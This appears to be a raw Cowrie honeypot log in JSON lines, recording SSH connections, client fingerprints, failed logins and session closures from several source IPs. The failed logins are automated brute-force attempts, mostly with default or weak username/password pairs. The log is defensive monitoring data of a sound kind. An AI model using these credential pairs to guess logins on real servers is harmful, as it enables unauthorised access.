{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:46.235993Z","src_ip":"95.38.165.118","session":"de5beabf1754","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:46.756364Z","src_ip":"95.38.165.118","session":"de5beabf1754","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:47.925016Z","src_ip":"95.38.165.118","session":"de5beabf1754","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":44528,"dst_ip":"159.203.135.109","dst_port":22,"session":"7613fc7c64fb","protocol":"ssh","message":"New connection: 103.27.238.116:44528 (159.203.135.109:22) [session: 7613fc7c64fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:49.346157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:49.350470Z","src_ip":"103.27.238.116","session":"7613fc7c64fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":60670,"dst_ip":"159.203.135.109","dst_port":22,"session":"2061597e8105","protocol":"ssh","message":"New connection: 103.27.238.120:60670 (159.203.135.109:22) [session: 2061597e8105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:49.372603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:49.380472Z","src_ip":"103.27.238.120","session":"2061597e8105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:49.429499Z","src_ip":"95.38.165.118","session":"ee93ed5c3db0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:49.624647Z","src_ip":"103.27.238.116","session":"7613fc7c64fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:49.653012Z","src_ip":"103.27.238.120","session":"2061597e8105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thomas1","message":"login attempt [root/thomas1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:50.447632Z","src_ip":"103.27.238.116","session":"7613fc7c64fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"djkrjlfd","message":"login attempt [root/djkrjlfd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:50.474293Z","src_ip":"103.27.238.120","session":"2061597e8105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":35036,"dst_ip":"10.17.0.5","dst_port":22,"session":"01df482aa9df","protocol":"ssh","message":"New connection: 95.38.165.118:35036 (10.17.0.5:22) [session: 01df482aa9df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:51.160932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:51.165778Z","src_ip":"95.38.165.118","session":"01df482aa9df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.5","message":"Connection lost after 16.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:51.227531Z","src_ip":"95.38.165.118","session":"ee93ed5c3db0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:51.332677Z","src_ip":"95.38.165.118","session":"01df482aa9df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:51.724011Z","src_ip":"103.27.238.116","session":"7613fc7c64fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:51.749252Z","src_ip":"103.27.238.120","session":"2061597e8105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.97626781463623,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:52.468531Z","src_ip":"69.4.83.194","session":"f9a1c8e3c6e1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:52.640834Z","src_ip":"95.38.165.118","session":"01df482aa9df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:54.230756Z","src_ip":"95.38.165.118","session":"01df482aa9df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":34224,"dst_ip":"10.17.0.5","dst_port":22,"session":"a086f4479fff","protocol":"ssh","message":"New connection: 95.38.165.118:34224 (10.17.0.5:22) [session: a086f4479fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:56.840922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:57.069340Z","src_ip":"95.38.165.118","session":"a086f4479fff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:58.211653Z","src_ip":"95.38.165.118","session":"a086f4479fff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:58:59.631492Z","src_ip":"95.38.165.118","session":"a086f4479fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:02.048513Z","src_ip":"95.38.165.118","session":"a086f4479fff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":34230,"dst_ip":"10.17.0.5","dst_port":22,"session":"59e9526cad63","protocol":"ssh","message":"New connection: 95.38.165.118:34230 (10.17.0.5:22) [session: 59e9526cad63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:02.814968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:02.820037Z","src_ip":"95.38.165.118","session":"59e9526cad63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:02.989992Z","src_ip":"95.38.165.118","session":"59e9526cad63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.239.106.153","src_port":47068,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c4cc99cfb7a","protocol":"ssh","message":"New connection: 77.239.106.153:47068 (159.203.135.109:22) [session: 0c4cc99cfb7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:03.796072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:03.801031Z","src_ip":"77.239.106.153","session":"0c4cc99cfb7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:03.889299Z","src_ip":"77.239.106.153","session":"0c4cc99cfb7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:03.981258Z","src_ip":"95.38.165.118","session":"59e9526cad63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123456","message":"login attempt [root/Root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:04.273766Z","src_ip":"77.239.106.153","session":"0c4cc99cfb7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:05.370836Z","src_ip":"77.239.106.153","session":"0c4cc99cfb7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:06.022410Z","src_ip":"95.38.165.118","session":"59e9526cad63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":33844,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e7625ef8db6","protocol":"ssh","message":"New connection: 95.38.165.118:33844 (10.17.0.5:22) [session: 3e7625ef8db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:08.093493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:08.098673Z","src_ip":"95.38.165.118","session":"3e7625ef8db6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:08.263185Z","src_ip":"95.38.165.118","session":"3e7625ef8db6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:09.638288Z","src_ip":"95.38.165.118","session":"3e7625ef8db6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:11.304130Z","src_ip":"95.38.165.118","session":"3e7625ef8db6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":33858,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6b5d0b6d8a3","protocol":"ssh","message":"New connection: 95.38.165.118:33858 (10.17.0.5:22) [session: c6b5d0b6d8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:13.203981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:13.209090Z","src_ip":"95.38.165.118","session":"c6b5d0b6d8a3","protocol":"ssh"}
